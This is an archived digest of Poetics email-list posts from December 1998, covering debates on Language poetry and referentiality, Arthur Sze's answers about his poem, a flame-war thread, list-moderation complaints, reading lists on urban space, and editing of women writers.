In addition to the books/essays already mentioned, you should also (I would say "first") look into the work of Raymond Williams, Henri Lefebvre, Michel de Certeau, David Harvey, Lewis Mumford, Georg Simmel, Max Weber, and Walter Benjamin. Lefebvre's THE PRODUCTION OF SPACE is especially important. I have an essay on the early history of urban poetry in English coming out in a collection to be published late next year from University of Arizona Press; the book will probably be entitled The Nature of Cities, and will feature essays on the relationships of literature to urban environments.

Gary R.

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426. **MAYHEW**
Re: Baratier's Silliman question
Fri 11 Dec 1998

Someone said here recently (was it Ron?) that a language poet was anyone who had ever been publicly accused of being a language poet. Thus I have a favor to ask: would someone please accuse me of being such? Then I can count myself among this illustrious group.

I'm not sure what a non-referential language would be. When Silliman writes a line like "teaching Reagan to count backwards by eights" (I'm quoting from memory probably inaccurately) does the word Reagan not refer* to the former president? Same problem with non-signifying or non-syntactical--this would be like saying a non-linguistic language. Sure, we can reject a sort of facile "reference" theory of language that people pretend to believe in while they are *accusing* people of being language poets.

Jonathan

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427. **Eileen Tabios**
Re: 3 questions re A. Sze poem
Fri 11 Dec 1998

Hello. This is my first post to this list. I am woman, too. In response to the 3 quedstions about Arthur Sze's poem, I thought I might as well ask Arthur what he would say about them (I didn't mention it was being discussed on this list

because, if I understand this list's protocol, we're not supposed to tell non-list members what's being discussed here? Anyway, below is what Arthur would say about the 3 questions.

Eileen

p.s. C. Bernstein had suggested I join a couple of months ago. How interesting you all are (I mean that positively, not objectifyingly) -- none of you are "gray."

> *I am reading Arthur Sze--"Redshifting Web." In that sequence he has these three lines:*
>
> *Instead of developing a navy, Ci Xi*
> *ordered architects to construct a two-story*
> *marble boat that floats on a lotus-covered lake*
>
> *Does anyone know this story? Who Ci Xi was? How I might spell his name to have more luck finding out who he was? Where to look to find the story?*

1: Ci Xi is the pin-yin spelling, used throughout China now, of the late Empress Dowager of the Ch'ing Dynasty. Instead of allocating her funds to develop a navy to help counter threats from other countries, Ci Xi lavishly spent a fortune to develop a two-story marble boat that could float on water. The boat exists and is part of the Summer Palace in Beijing. In Chinese culture, the boat is seen as a symbol of supreme lavishness and as an attempt to avoid the pressure of reality.

> *Question 2:*
> *In another part of the poem, he has this line: "as a lobster mold transforms a russula into a delicacy." What is a "russula"?*

2: A "russula" is the genus name for a series of mushrooms that have gills and chalky white stalks. Some russulas are edible, others can cause severe stomach upset. A lobster mold usually attacks a russula or lactarius mushroom; it covers the mushroom and transforms it. The new lobster mushroom is not only edible; it's an extraordinary delicacy. I'm thus using the lobster mushroom as an example in nature where something can be transformed into something astonishing.

> *Question 3:*
> *I have figured out what a redshift is (more or less). Does anyone know if there is such a thing as a redshifting web--astronomically, cosmologically, referentially to the universe outside the poem--, or is Sze writing to his poem?*

3: In our understanding of the cosmos, it is now clear that, as Heraclitus once said, "everything is in motion." Galaxies that are traveling away from the earth, which is of course also moving, send out sources of light that are bent toward the red end of the spectrum. So, redshift is an image of the expanding universe. I wanted to connect the infinitely large (cosmological redshift) with the infinitely small (a web), so I created the phrase "the redshifting web" as the title to my book. It connects the very far to the very near. It's thus an image of a poetics of an expanding cosmos, but also implies that the poet is like a spider that creates webs with words.

Thanks for relaying this response.

Very best,

Arthur

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428. Fred Muratori

Re: Final (Hopefully) Note about Insult Thread

Fri 11 Dec 1998

Might as well 'fess, up Guelph-Ghibelline, your raucous posts of late are really components of an MFA-thesis-in-progress which will be published (or "eventuated," as we say in Mondo PostPoMoBelmondo) in the year 2000 by Roof Books (intro by Bob Perelman), corretto? True, you might have to work in some images of gorges and sunsets to appease us locals, but why not? It's a twee country, after all.

Too voyeuristic to unsubscribe,

Fred M.

>CHARLES, PLEASE DON'T ERASE THIS! (joke)
>
> Why I Have Been So Virile & Insulting:
>
>1). I began these skirmishes more than 3 or 4 weeks ago in dinky
> annoyance at the unflaggingly petulant and oppositionalist
> (a)mentality that was then in vogue on this list (I'm sure never to
> return). This was the Pinsky/Howe-Stern=Gerontion thread,
> heightened then for me by MP's injection of Intolerance-etc.
>
>2). Devising an experiment, I did, with gestures bombastic, heighten my
> rhetoric daily, the purpose of which was to eventuate (yes I use it
> as a transitive verb) a call for Tolerance
> or Moderation or Open-ness (i say we hyphenate all double

> consonants) -- this in part having been effected. My attempts
> to upset this list's petulant equilibrium were intensified in
> commentary to Perloff in brilliant contravocality to her
> insufferable advocacy for an increased intolerance in this
> company. Said rhetoric has continued to heighten.
>
... -persona non gaga

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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429. **MAYHEW**
Re: Final (Hopefully) Note about Insult Thread
Fri 11 Dec 1998

I think Gabriel Gudding might have been the only one laughing at his own *humor.* Insulting people is not inherently funny, nor is experimenting to see how long it will take for others to lose their *tolerance* for such insults. Just because you claim to be funny or ironic doesn't mean others will take it in that spirit. It's like someone telling a joke and laughing him/her self. Neither particularly moral nor merry. And please don't accuse me of lacking sense of humor. I laughed so hard at story of firecreacker in trombone valve that I gave myself an asthma attack.

Jonathan

↑ Index

430. **Jordan Davis**
Posting to the list
Fri 11 Dec 1998

Thanks, anonymous voice, for the note. I am confused by the apparent contradiction between the list being edited and all posts being forwarded immediately. My confusion increases when Henry tells me two of the posts he sent before he unsubscribed were not forwarded.

Please clarify.

Jordan Davis

Poetics list wrote: In reply to recent queries, there has been no change in the structure of the list. The Poetics List is edited and will remain so for the forseeable future; however, please be aware that all posts sent to the list by subscribers go immediately to the list, *without exception*.

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431. **Aldon Nielsen**
Re: Baratier/Silliman/origins of Langpo as term
Fri 11 Dec 1998

The typography of "L=A=N=G=U=A=G=E" also served, whether this was the intent or not, to distinguish the pub. from its cousin, the linguistics journal _Language_.

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432. **Poetry Project**
Thanks for implications
Fri 11 Dec 1998

My thanks for the responses to the "french abstract lyric" question. It's interesting, to me, to have a rather general term for a "form" be defined so precisely, albeit with variance based on who's doing the defining, in a (some) French poetic context(s), when I've only really run across the term in question as an allusive gesture towards an unnamed horde of young American poets. In one sense I was already aware of the possibility of an abstract lyric via Celan, as Doug writes, where the human impulse behind the poem remains transparent despite the reconfiguring of the lyric form & literal content into something wholly other. But on the other hand it's somewhat sickening to realize that there's another term in the air that anyone can use to corral a bunch of poets into definition for the sake of furthering an argument or theory. There's also something wrong with the designation of writing by Americans as falling under the label of "French" & then that label being put forward as demonstration of a problem in American poetics. I'm not looking to assign blame in writing this, or to kickstart another boring polemic dispute. It does seem to me sometimes, however, that much of what qualifies these days as poetic discourse is overly dictated by the freedom to assign labels to people, poems, forms, etc. & it's hard not to do so often enough, when the topic of conversation is constantly reduced to "what is Language poetry" or "what is New York School poetry" & placed in terms of a, some, any opposition (or as if those questions are actually crucial). Other than what they seem to mean for the purposes of editing

anthologies I tend to think of these things as largely meaningless, mainly 'cause it seems that if I don't I won't see anything very clearly. Oh well. Thanks in advance for bearing with.

Anselm Berrigan

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433. Mairead Byrne
Re: Final (Hopefully) Note about Insult Thread
Fri 11 Dec 1998

There's no accounting for taste though, I thought the trombone story was kinda tragic. And I definitely rendered Gudding boinky laughs.

On Fri, 11 Dec 1998, MAYHEW wrote:

> *I think Gabriel Gudding might have been the only one laughing at his own *humor.* Insulting people is not inherently funny, nor is experimenting to see how long it will take for others to lose their *tolerance* for such insults. Just because you claim to be funny or ironic doesn't mean others will take it in that spirit. It's like someone telling a joke and laughing him/her self. Neither particularly moral nor merry. And please don't accuse me of lacking sense of humor. I laughed so hard at story of firecreacker in trombone valve that I gave myself an asthma attack.*
>
> *Jonathan*

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434. David Erben (Art)
Reggae William Blake
Fri 11 Dec 1998

Jah Wobbble has just released a CD, "The Inspirations Of William Blake," that includes a reggae version of The Tyger.

Does anyone know of any other reggae versions of Blake? Romantic poetry? Victorian?

I'm also reminded of a alternative version of "The Emperor of Ice Cream" I heard once in New Orleans. Unfortunately, I never learned who the group was.

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435. **Mark Prejsnar**

Jonathan Mayhew is a Language Poet

Fri 11 Dec 1998

Jonathan Mayhew is a Language Poet (cap's and everything)...

So it's nice that he posted the short discussion of referential (not!) language...citing the line about teaching Reagan to count backward.

I agree that it is very hard to claim non-referentiality for a work of poetry, and not be dead wrong. There is the very non-normative use of words, but as in JM's example, and as in relatively non-linear writing from the Cantos and Stein on down to most of what i see in the little mags today, most non-normative writing has distinct thematic resonances.

There was a debate about this among several @lanta poets two nites ago..one feels that "lack of aboutness" is one of the main faults in the contemporary poetry he sees coming out now, when it doesn't quite work. Others thought that that was not the main problem..

I would add that this poet has published some VERY non-linear, and disjunctive work himself. So while superficially his point sounded like some of the critiques that've been articulated well here in the past, as by H. Gould and Joe Safdie, he was really saying something different, not just insisting on the communicative value of consevative form.

Anyway, i disagree: most of the stuff i see coming out, if it fails to have sufficient focus on a "theme" or "subject", that seems to have as much to do with poor or unrealized writing, as with any intent to be abstract or nonreferential...

A good example here might be Clark's The Little Door Slides Back. This book has been much praised and it has lots of fascinating stuff, and shows flashes of exciting and brilliant writing. But (this is tentative, as i'm still in the process of going over it and clarifying what i think) much in the book seems to overreach and to try to write in too many rapidly shifting ways, and to accomplish too many ideational/narrative clusters, with writing that's too unfocused, not sharp-edged, that's kind of mushy, not sufficiently worked-over and alive to the ear. These parts would probably fall under my friend's critique as "lacking aboutness," but i think the real problem is a need to tighten the writing.

Anyway that shouldn't be taken as a reasonable review of Clark, obviously: that i hope to do later; but a gesture at the book, which others might look at to see what i think i'm saying...

This referentiality stuff is a
tricky bizness, sez i..

Welcome to the (Lang.) club, Jonathan!

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436. Aviva Vogel
Deep Image - Original Materials - Inquiry
Fri 11 Dec 1998

I was getting more and more excited reading someone's message about the original materials that might be used for a "deep image" dissertation, and with a system-freeze and a newly-installed AOL, I lost the message permanently. Would someone be generous and forgive this pedestrian plea and forward the message to me? Thanks, Aviva

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437. R. Gancie/C.Parcelli
Re: God Bless the Tumors, the Boils and the Blisters
Fri 11 Dec 1998

Yeah, but he does it so much better than you, Wystan. Did your folks
name you after the Auden. I was named after my grandfather. He was a
swineherd.---Carlo Parcelli
 Wystan Curnow wrote:
>
> > Gabriel Gudding wrote (in part)
> >
> > I was going to reserve this 30 min's of freetime tht I now have for
> > posting a few more thoughts on the THEORY OF SLAPSTICK POETICS.
But the
> > news of Henry's departure has so saddened me I am moved to write a
> > meta-poetics commentary.
>
> > Some have said CB is killing an essential part of this list with his
> > interventions.
> >
> > I have even gone so far as jokingly to call CB a controlling prig.
> >
> > One or two of us have however gone on to compliment CB on his open-
minded
> > and fair attitude (I am one of these). I compliment CB on his open mind.
>
> Dear Gabriel,
> This so-called Slapstick Poetics of yours, it really seems to
> have made an impact. I'm not sure I quite grasp it, as you have had
> precious little to say theoretically about it. But let me try it

> myself and you can tell me how I'm going,ok?:
>
> Gabriel Gudding is an abusive, insulting, humourless, garrulous no-
> count poseur (I'm sure I wrote poster?) so say some people. Not
> frontchannel mind you. And not me. I love him. He's so fine.
>
> Some say his failed attempts at humour which simply end up giving
> gratuitous offence is doing damage to the sense of community on
> which the success of the list depends. But not me. I did not say it.
> I did not. I love him. He is an honourable man. Others say his posts
> are hilarious, challenging, cheeky. Not me, however.
>
> Is this how it goes, Gabe? And where does it go from here? I am not
> sure of the point of saying gross, stupid, things about a person and
> then nice approving things about them, except that it is rather
> liberating and such fun and gets up people's noses, so perhaps you
> could go into this in more depth. Thanks.
>
> Wystan

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438. Gabriel Gudding
recommended readings
Fri 11 Dec 1998

---

of late reading, the following have been particularly interesting:

* _Arshile_ (#s 3,4,5, & 10)

* _Third Wave: The New Russian Poetry_, edited by the former Kent Johnson and Stephen M. Ashby. U Mich, 1992

* _The Book of Insults, Ancient and Modern: An Amiable History of Insult, Invective, Imprecation & Incivility (Literary, Political & Historical) Hurled Through the Ages & Compiled as a Public Service by Nancy McPhee_ by Nancy McPhee, St. Martins, 1978. A definite must for all Americans.

* _The Projectile Throwing Engines of The Ancients_, by Sir Ralph Payne-Gallwey, a 1973 American reprint of a 1907 British version. Great drawings.

* _The STrange Lives of Familiar Insects_, Edwin Teale, 1964. Great photos, spiff drawings, great insect melodrama told in breezy style. Ever wonder how far the common housefly can travel in one day? It's all here.

* _Insect Stories_, Vernon L. Kellogg. Henry Holt, 1910. A collection of 12 true tales about the miraculous doings of insects.

* _Little Lives: The Story of The World of INsects_., Julie Kenly. 1938. A good, if somewhat romantic, look at some of the more famous insects (eg, flies, cockroaches and bumblebees).

* _The Senses of Nonsense_, Alison Rieke, Iowa, 1992. A clear and down-to-earth study of nonsense in Joyce, Stevens, Stein, and Zukofsky. HIGHLY RECOMMENDED.

gg

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439. E.M. Garrison
Re: Posting to the list..and a Query.
Fri 11 Dec 1998

Ive had posts that came thru late and garbled. I believe its a technical problem, somewhere along the line, much as in the spring of this year when there was a breakdown (major server)on the east coast. This showed as difficulty sending or recieving email to or from europe. Communications do occasionally break down. Duh.

As to the editing, (feel free to correct me if I am mistaken) I believe that this means to stay close to the subject, not introducing, say.....Plums! into the subject matter, or remain relevant. This is of course difficult to say the least..so many ..many subjects and posters..it is almost impossible.My own opinion ? More rope, please. I want to be in charge of my own hanging, spectical and all. Anyone out there knit?

Mairead, please continue to raise your voice !! I dont always have time to respond..though I want too....Time In very short supply here. If I did have the time, I would try to say much as you have said..though I know I would not do it half so well.My hat is off to you. You speak eloquently for many of us. Bless the Irish!.. in us all....

Gabe. Hard post, Dude. You were coming across as emotionally dishonest. It just simply doesnt work, especially from a poet. That is the beauty of language. You can be as rude as you like. But be real. When you are, your words shine...dont go stomping off either.As Henry..and Kent, have done. there is nothing to be gained, and you would be sorely missed.As they are.

We are all adults, and know when banter is working. We Know.And enjoy it, or dont.
I like it myself. If something offends me, I function as my own editor. delete.

I was so pleased to see the support that Mairead received from the "guys" in response to her post. Gender equality does indeed exist on this list. Thanks, Guys...Your support is appreciated..and not lost in the roar of words.

Im new here. Every day. Not always time to post.Standard disclaimer for misspelled words,
apologies for any stepped on toes.

QUERY: Does anyone know of any list functioning as a sounding board for work in progress? Please backchannel me. All time and effort is appreciated, and I thank you in advance.

Peace,

beth

Jordan Davis wrote:

> *Thanks, anonymous voice, for the note. I am confused by the apparent contradiction between the list being edited and all posts being forwarded immediately. My confusion increases when Henry tells me two of the posts he sent before he unsubscribed were not forwarded.*
>
> *Please clarify.*
>
> *Jordan Davis*
>
> *Poetics list wrote:*
> *In reply to recent queries, there has been no change in the structure of the list. The Poetics List is edited and will remain so for the forseeable future; however, please be aware that all posts sent to the list by subscribers go immediately to the list, *without exception*.*

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440. **Gwyn McVay**
Emperor a la Nordine
Fri 11 Dec 1998

I'm also reminded of a alternative version of "The Emperor of Ice Cream" I heard once in New Orleans. Unfortunately, I never learned who the group was.
<<<

Ken Nordine has a fabulous riff on "Emperor" on one of his recent albums--I believe it's on /Devout Catalyst/, which has guest perf-poet Tom Waits on one track and guest guitarist Jerry Garcia on several.

Gwyn

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441. **louis stroffolino**
ADOPT A "POET"
Fri 11 Dec 1998

Dear Poetics list-- I will be in San Francisco (for a job interview) from Dec. 25th until early on the 30th, and am looking for a place to crash, a couch, a floor even. I will be clean. I will do your laundry or make icecubes or mow your lawn or whatever errands you may wish to devise for me (I will sing for my supper if you have a piano, and even be a brilliant conversationalist if you're into that sort of thing). I know it's unreasonable to expect that any single person (or couple or trio) would be able to put me up the whole time I'm there--but if I can get enough people to say that I wouldn't be too much of a pest on any single night, I could alternate--- I am especially worried about where I would stay xmas night, being that there's no room at the inn, etc. If anybody has any room--or any leads on anybody who might--for any of these 5 nights, I would deeply appreciate it. I will owe you one-- I will let you stay at my place if you happen to be in NYC, and if I get the job I'm interviewing for, I will even offer you money somewhere down the line.....

(i hope such requests are not inappropriate for the list--
i--for one--would like to see more of these!)...
sincerely, Chris Stroffolino

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442. **R. Gancie/C.Parcelli**
Re: Posting to the list
Fri 11 Dec 1998

Poetics List wrote:
>
> In reply to recent queries, there has been no change in the structure of
> the list. The Poetics List is edited and will remain so for the forseeable
> future; however, please be aware that all posts sent to the list by
> subscribers go immediately to the list, *without exception*.
Wha!? Clarify! Clarify!

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443. **Ron Silliman**
Jonathon Mayhew is a language poet
Fri 11 Dec 1998

I believe it was "counting backwards by sevens," a standard part of the mental status exam given in psych emergency wards every day (the president for whom

I was named could not pass this test). [Another question on the list is to name the last six presidents of the US, but a few years back the APA decided that the omission of Gerald Ford would not count as an error since so few Americans seemed to know that he had been president.]

I agree that there is no such thing as non-referentiality. It's a term like non-narrative that is its own self-oxymoron. (The unfolding of meaning in time, the only definition of narrative that makes any sense to me, occurs even in the single letter poems of Joyce Holland's "Alphabet Anthology." Every letter has a beginning, middle and end, although Grenier is the only poet I know who seems to be able to manipulate this effectively.)

On the use of the "=" in the name of the journal to which Wystan referred, I've always presumed that it referred back to Saussure's conception of difference as the governing principle of language (dont be so sure, as CB would say). Tho I never did figure out the "/" in the magazine M/E/A/N/I/N/G.

Has anyone noticed that what's happening in Congress right now isn't an impeachment but a coup?

Ron

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444. Joe Brennan

Fwd: news that stays news

Fri 11 Dec 1998

This is a multi-part message in MIME format.

--part0_913411213_boundary

--part0_913411213_boundary

air-zb03.mail.aol.com (v53.20) with SMTP; Fri, 11 Dec 1998 13:55:04 -0500
by rly-zb04.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with SMTP id NAA04318 for <[redacted]>;
Fri, 11 Dec 1998 13:55:02 -0500 (EST)
Resent-Message-Id: <[redacted]>
with BSMTP id 5365; Fri, 11 Dec 98 13:55:10 EST
(LMail V1.2a/1.8a) with BSMTP id 8543; Fri, 11 Dec 1998 13:55:11 -0500
Resent-Date: Fri, 11 Dec 98 13:54:52 EST
Resent-From: Henry <[redacted]>

Resent-To: Joe <[redacted]>
Date: Fri, 11 Dec 98 13:43:21 EST
From: Henry <[redacted]>
Subject: news that stays news
To: Joe <[redacted]>

Joe, can you forward this to the list? Thanks - Henry

Dear Poetics List,

Just to clarify:

1. I agree with everybody that list-hogging is bad for the list.

2. I was not consistently the high poster each month. The few times I was asked to slow down, I did.

3. I left the list not out of frustration but because the "review" status I was put under led to unexplained censorship & hidden editing of the list. I could not participate in that. Could you?

4. The new diversity & plurality of postings to the list is great. If I can further that by remaining in exile, fine. Remember, I recommended these things - more people participating, more careful listening to topics of messages - back in November, before anyone else. I find that hilarious.

5. My last official post to the list was a poem about thanksgiving. So happy holidays one & all. Do you believe in Santa Claus? Do you believe in the Invisible Hand? Better be good!

- Henry Gould

--part0_913411213_boundary--

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445. **Elizabeth Treadwell**
Eliza Jen Juliana & Concerns or erase
Fri 11 Dec 1998

Responding having read some into the archive.

Am I one of Joel's "bailures"? Don't know. Appreciate the girl wagon that has been somewhat acknowledged.

I had told Joel privately that I'd "BE BACK", just LIKE Arnold Schwarzenegger w/ a review of Meow Press's '98 publication, Thrum by Noemie Maxwell, which I read quickly, tenderly, and excitedly, a new writer for me, a prose that gets the words to change their typical stance as noun or verb, something that fascinates me as I think about what is narrative or not-- --but that I'll put in a future

issue of Outlet, with 200 copies planned, I don't know if my thoughts on this book would get more or less readership there or via this here channel.

!!!: I must protest, and perhaps too much, that Mark, when he posted our "entire" b/c "conversation" did not actually post its entirety, nonetheless I will leave this quote from Eliza to stand in for my feelings on that subject

> *i must point out a delicious irony: as a woman,*
> *am too often treated to persons overendowed with entitlement who feel it*
> *is encumbent upon them to "explain" what i have said, speak FOR me, and*
> *in so doing, completely ignore what in fact i HAVE said.*
> *--Eliza Mc Grand*

And I , copying Juliana, am not wanting to hurt anyone's feelings -- tho mine have been knocked about here --- and on third thought, "HURT SO GOOD", gentlemen of the judiciary committee, think about the fact that it does seem to be a climate that girls abandon, and maybe the climate's changing, and I don't know how to act proper, I just know I need to spend my time on WRITING!!

set to nomail, set to bratty, Outlet 3 'll be out in March

happy hols, the gentlelady from California yields,,,,,
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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446. **A. Jenn Sondheim**
SEMCOM:, Books: Semiotics (fwd)
Fri 11 Dec 1998

This might be of interest to readers here.

Alan

==========
========== SEMCOM
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
==========//is an online bulletin primarily for dissemination of semiotic, semiological, discursive, linguistic, visual and allied information pertaining to the study of signs. It is solely owned and operated by Alan C. Harris Ph.D. and is distributed free of charge to members of the Commission on Semiotics and Communication, National Communication Association, members of the Semiotic Society of America, and other "fellow travelers" who request the service. . . // [If you would like to be included in

the SEMCOM list, please reply or send a note to [redacted] with the command, "add SEMCOM", in the body. tia, a.]
==========
========== From: LINGUIST Network <[redacted]> From: [redacted] Subject: The Written Poem: Semiotic Conventions From Old to Modern English

Huisman, Rosemary (University of Sydney); The Written Poem: Semiotic Conventions From Old to Modern English;Available from Cassell;Hb.: 0 304 33999 7; US$75.00/ 45.00

This book defines a focus of interest: contemporary poetry and its historical construction as a 'seen object', and uses current literary and social theory to facilitate its study. Thus the book contains matter of relevance to practising poets, to those engaged in literary studies and to those with a sociolinguistic interest in the English language, especially in relation to technical and social changes in language technology and literacy. Part One discusses the use of graphic, that is visual, conventions in contemporary poetry in English. How do we recognize 'a poem' (including apparent contraventions, such as the 'prose-poem')? Once a poem has been recognized, what are the interpretative conventions brought into play for reading it? And especially, how has the spatial arrangement on the page become 'meaningful' in its own right for much contemporary poetry? The last question, of the semiosis of the 'seen poem', is discussed at length, with numerous examples from individual poems. For a consistent descriptive vocabulary for 'discourse' and 'genre', a model of language and social context, derived from the work of the linguist M.A.K. Halliday and the sociologist Basil Bernstein, where relevant, is explained and used. Part Two explores questions which have been brought to the fore in Part One. What is the origin of the line as the primary generic sign of poetry? How does the potential for seen, rather than spoken, meaning emerge? It particularly focuses on changes in manuscript conventions from Old to Middle English poetry, on the comparitvely late significance of print for poetic discourse, on the change, in an increasingly literate understanding of 'literature', from a social to a personal understanding of poetic meaning from the late eighteenth century through the nineteenth century. If what has been regarded as an object, 'the poem', is an outcome of the social processes of textual interpretation and production, so too is what has been regarded as 'the subject', that through which meaning is authorized. AVAILABLE FOR REVIEW. EMAIL: [redacted]

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447. **Brian Lennon**
urban space
Fri 11 Dec 1998

I'd also recommend Rem Koolhaas's _Delirious New York: A Retroactive Manifesto for Manhattan._ (New York: The Monacelli Press, 1994):

<paraindent><param>left</param>"Not only are large parts of its surface occupied by architectural mutations . . . utopian fragments . . . and irrational phenomena . . . but in addition each block is covered with several layers of phantom architecture in the form of past occupancies, aborted projects and popular fantasies . . ."

</paraindent>

Walter Benjamin, "A Berlin Chronicle," "A Berlin Childhood," "Moscow," "Marseilles," "Naples," "One Way Street," etc. (in _Reflections_ [New York: Schocken, 1978]; _Moscow Diary_ (Harvard UP, 1986).

Rilke, _The Notebooks of Malte Laurids Brigge_ (Vintage, 1990).

Mike Davis has a second book out---also on L.A.; I can't recall the title though.

> *Date: Thu, 10 Dec 1998 21:18:09 -0500*
>
> *From: Marcella Durand <<[redacted]>*
>
> *Subject: urban space*
>
>
>
> *Simon,*
>
>

>as a poet intensely fascinated by urban spaces & structures, here are
=

> *some books I've found most helpful & interesting:*
>
>
>
> *City of Quartz by Mike Davis*

>Flesh & Stone: The Body and the City in Western Civilization by Richard
=

> *Sennett (Sennett in general good read)*
>
> *Cities by Lawrence Halprin*
>
> *Design of Cities by Edmund N. Bacon*
>
> *Angst: Cartography by Mojdeh Baratloo & Clifton J. Balch*

>The Life & Death of Great American Cities by Jane Alexander (not sure on
=

> *author name, someone stole my book,as it is irresistable read)*
>
> *Lost Cities by Vittoria Calvani*

>Architecture without Architects by Bernard Rudofsky (not precisely on
=

> *urban planning, but I think deals with unexpected urban beauty)*
>
> *The Built, the Unbuilt and the Unbuildable, by Robert Harbison*
>
> *Big City Primer, John Yau*
>
> *Invisible Cities, Italo Calvino*
>
> *Paris Peasant, Louis Aragon*

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448. **BETSY ANDREWS**

Re: boo-boo

Fri 11 Dec 1998

I like this poem quite a bit.

> From: A. Jenn Sondheim <[redacted]>
> To: [redacted]
> Subject: boo-boo
> Date: Tuesday, December 08, 1998 3:27 AM
>
> ==
>
>
> boo-boo
>
> When I die, I want to take you with me,
> I want to take ten of the ten, and fifteen of the fifteen,
> And I will wear the dreary blue-blue you have given me -
> There will be one atom left, to placate the dreary vacuum,
> One molecule grappled by cell-counts sloughed and scrambled,
> Tissue rent asunder, organs corroded, soul's debris abandoned -
> And I will wear the blue-blue, I will wear the overcoat and ring,
> Carnelion round my neck, magnetite across my throat, and singing -
> Your name - as I am torn asunder, the fifteen dreary words,
> The ten lost and forlorn colors, the fifteen dying notes,
> The ten corroded sites - you Blue-Blue, wear my overcoat -
> You Blue-Blue wear my ring - placate my death with dreary yours -
> What a vacuum here, and souls of dying atoms split asunder

> Stumble just beneath you Blue-Blue, taking me abandoned -
>
>
> _____

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449. **Steven Marks**
Re: Reggae William Blake
Fri 11 Dec 1998

I've heard a reggae version of The Tyger. Not sure if it was Jah Wobble, but it was outstanding. My wife was listening to it on the radio and she called for me to come in, knowing how much I love Blake. We just stood transfixed in front of the receiver. It was a lovely moment I won't forget.

Steven

On Fri, 11 Dec 1998, David Erben (Art) wrote:

> *Jah Wobbble has just released a CD, "The Inspirations Of William Blake," that includes a reggae version of The Tyger.*
>
> *Does anyone know of any other reggae versions of Blake? Romantic poetry? Victorian?*
>
> *I'm also reminded of a alternative version of "The Emperor of Ice Cream" I heard once in New Orleans. Unfortunately, I never learned who the group was.*

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450. **Jacques Debrot**
Re: Poetics Suggestion
Fri 11 Dec 1998

There *is* something pleasant about reading your own posts I have to admit, it's a little like enjoying the smell of your fingers. Then, too, there is the way that this venue seems to encourage a degree of exhibitionism. It's not that the people who post very frequently aren't often interesting, but when a small minority of subscribers is continually determining the tone of the List the same things are always being said. *Here's a suggestion*: why must subscribers receive their own posts back from Poetics? Perhaps someone could provide a convincing justification for this, but from my point of view, it's not at all necessary & deprived of that "pleasure" I think a lot of the problem with over-

frequent posting to the List would abate. -- Anyway, looking forward to seeing this in my mailbox in a few minutes.

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451. **F. W. Perrella**
New at: The Literary Review and North American Review - Web Del Sol
Sat 12 Dec 1998

New at The Literary Review:
http://webdelsol.com/tlr

The Fall 98 issue has a new batch of work to keep you thinking - check out The Dance School, by Manfred Wolf, or Summer Garden, by Laurie Byro.

The North American Review has new material, too:
http://webdelsol.com/nar

Two works you may want to see there: Goodnight Irene, by Corrine Clegg Shales, and Goddess of Desire and Paris West, by Judith Shatnoff.

Enjoy -

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452. **miekal and**
listserv gratuties
Sat 12 Dec 1998

PRAYER TO KUMUSH

Our father on high living: Your name all revere your mind come to every one us Here too on earth in the same manner be done just as on high is done To us this day bread give you Not us wicked render you equally as our men-kindred love You keep off from our hearts thoughts good our heart make you You alone power you heart strong perpetually great of Kumush Thus well

[from the Modoc]

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453. **J Kuszai**
Re: The Hat/women writers
Sat 12 Dec 1998

---

dale, hoa, & other editors:

thanks for the description of The Hat. You mention that Jordan and Chris (two boys) haved edited an issue of a magazine with all women poets. Why is this a surprise? While it may be unusual, I think it is only as one famously male's male's male would say, "apropos." Women, generally, are doing much more interesting writing these days, and have been since the 70s. Not that there aren't useful boy-originated poets, but in my opinion, these last few decades have been really marked by this tendency. Representation of women by male editors is another issue, and leads people, for instance, to say that 'language poetry is male dominated,' when in fact if you look at the writing this isn't true. As far as all-women issues of magazines, whether edited by men or women: Are you suggesting that using some fairly restrictive criteria of editing that one would end up with anything but the same? Is it something that has to be set aside, like "this is our mission" or "no boys allowed" etc.?

this came up at the now historic New Coast conference in buffalo back in 93. When discussing this issue, the over representation of men by men in presses and magazines, one editor said that the problem was really that women didn't send in their work, while men are quick to submit work for consideration. Some people have said (sorry for lack of specifics, I don't mean to sound like Henry Hyde) that there aren't as many women writers so they get published much easier, become more sought after and therefore, somehow (and I find this one hilarious) more difficult to get to send work to mags and presses. The implication being here that women have more choices and that there is a "shortage" of women's writing...when in fact this simply couldn't be further from the truth.

In my experience as an editor, you can't wait for the writing you want to publish. So, with a few exceptions, unsolicited writings are generally male and generally not what I'm looking for. Dale, your description of Hoa's showing you the pilo submissions by men and the lone submission by a woman further strengthens what i like to call the "receptical theory of editing"--if you provide a trash can, it is likely to filled up. Which isn't to say that unsolicited work can't have a place in the development of a literary community, or a publishing sequence, whether a periodical or chapbook series. I'm only trying to say that such methods are limited.

I used to think that the gender-limit on such editing projects was problematic. As a form of editing, like my fantasy of a moderated listserv (which, if I get my way, will become a reality) such limit-oriented projects have their place. This was originally the focus of Chain and there are many projects out there that tend to focus on women's writers. I've stated that this doesn't need to be arbitrary, but it often is. I now kind of like that arbitrary restriction, and have toyed with that in planning future series of the meow press chapbooks. We all have these restrictions anyways, so why not extend them to fit a whole class of people: like white boys, or just boys in general. Where maybe once I would be

offended by such editorial specificity, now such CENSORSHIP excites me, and I mean that honestly, sincerely (in case that was ever in question). Because I don't feel that it is censorship, but rather an editor's perogative.

Anyhow, all that aside, I am currently reading manuscripts for books scheduled to be published next summer -- and while for me there are a few interesting male-dominated writers out there, I would like to invite the women on the poetics list to send either manuscripts or proposals for manuscripts (of poetry, prose, or for monograph critical pamphlets) to: po box 948568 la jolla ca 92037

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454. **J Kuszai**
Re: The Hat/women writers
Sat 12 Dec 1998

---

i wanted to respond to myself in public and suggest that i didnt mean that i was going to use the women-only restriction for the editing of meow press. while that is certainly an emphasis (especially during my current reading), that more has to do with the writers i like being women for the most part, and i am currently actively in contract talks with some very interesting writers who happen to be women. so my plea to poetics for submissions is an invitation, not the focus of my research.

as far as "arbitrary" restrictions, I don't mean to suggest that such projects as Chain or Outlet are anything resembling arbitrary. I do mean to suggest that I may use such an arbitrary restriction in the future, as has been described on this list: only poets with relatives in Michigan, etc...

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455. **Randy Prunty**
Re: Poetics Suggestion
Sat 12 Dec 1998

